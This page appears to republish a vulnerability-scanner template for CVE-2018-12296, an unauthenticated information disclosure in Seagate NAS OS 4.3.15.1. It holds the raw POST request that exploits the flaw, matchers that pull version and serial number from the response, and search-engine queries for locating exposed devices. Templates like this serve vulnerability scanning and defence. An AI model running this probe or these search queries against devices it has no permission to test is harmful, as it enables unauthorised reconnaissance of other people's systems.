CVE-2018-12296: Seagate NAS OS 4.3.15.1 - Server Information Disclosure

2025-08-01 Seagate NAS OS PoC Public

Description

Seagate NAS OS version 4.3.15.1 has insufficient access control which allows attackers to obtain information about the NAS without authentication via empty POST requests in /api/external/7.0/system.System.get_infos.

PoC

id: CVE-2018-12296

info:
  name: Seagate NAS OS 4.3.15.1 - Server Information Disclosure
  author: princechaddha
  severity: high
  description: Seagate NAS OS version 4.3.15.1 has insufficient access control which allows attackers to obtain information about the NAS without authentication via empty POST requests in /api/external/7.0/system.System.get_infos.
  impact: |
    An attacker can gain sensitive information about the server, potentially leading to further attacks.
  remediation: |
    Upgrade to a patched version of Seagate NAS OS.
  reference:
    - https://blog.securityevaluators.com/invading-your-personal-cloud-ise-labs-exploits-the-seagate-stcr3000101-ecf89de2170
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12296
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-12296
    cwe-id: CWE-732
    epss-score: 0.11337
    epss-percentile: 0.95757
    cpe: cpe:2.3:o:seagate:nas_os:4.3.15.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: seagate
    product: nas_os
    shodan-query: http.title:"seagate nas - seagate"
    fofa-query: title="seagate nas - seagate"
    google-query: intitle:"seagate nas - seagate"
  tags: cve,cve2018,seagate,nasos,disclosure,unauth,vkev,vuln

http:
  - raw:
      - |
        POST /api/external/7.0/system.System.get_infos HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}

    matchers:
      - type: word
        part: body
        words:
          - '"version":'
          - '"serial_number":'
        condition: and

    extractors:
      - type: regex
        group: 1
        regex:
          - '"version": "([0-9.]+)"'
        part: body
# digest: 4b0a00483046022100c8a4c33b5f76d677a1ce8fa699bc2f7cc319c1fba70096ab1c82154107cb1513022100e2fb36878fd50d2250b581d21b1d45090942ed55a097b9de61deba17dc87308c:922c64590222798bb761d5b6d8e72950

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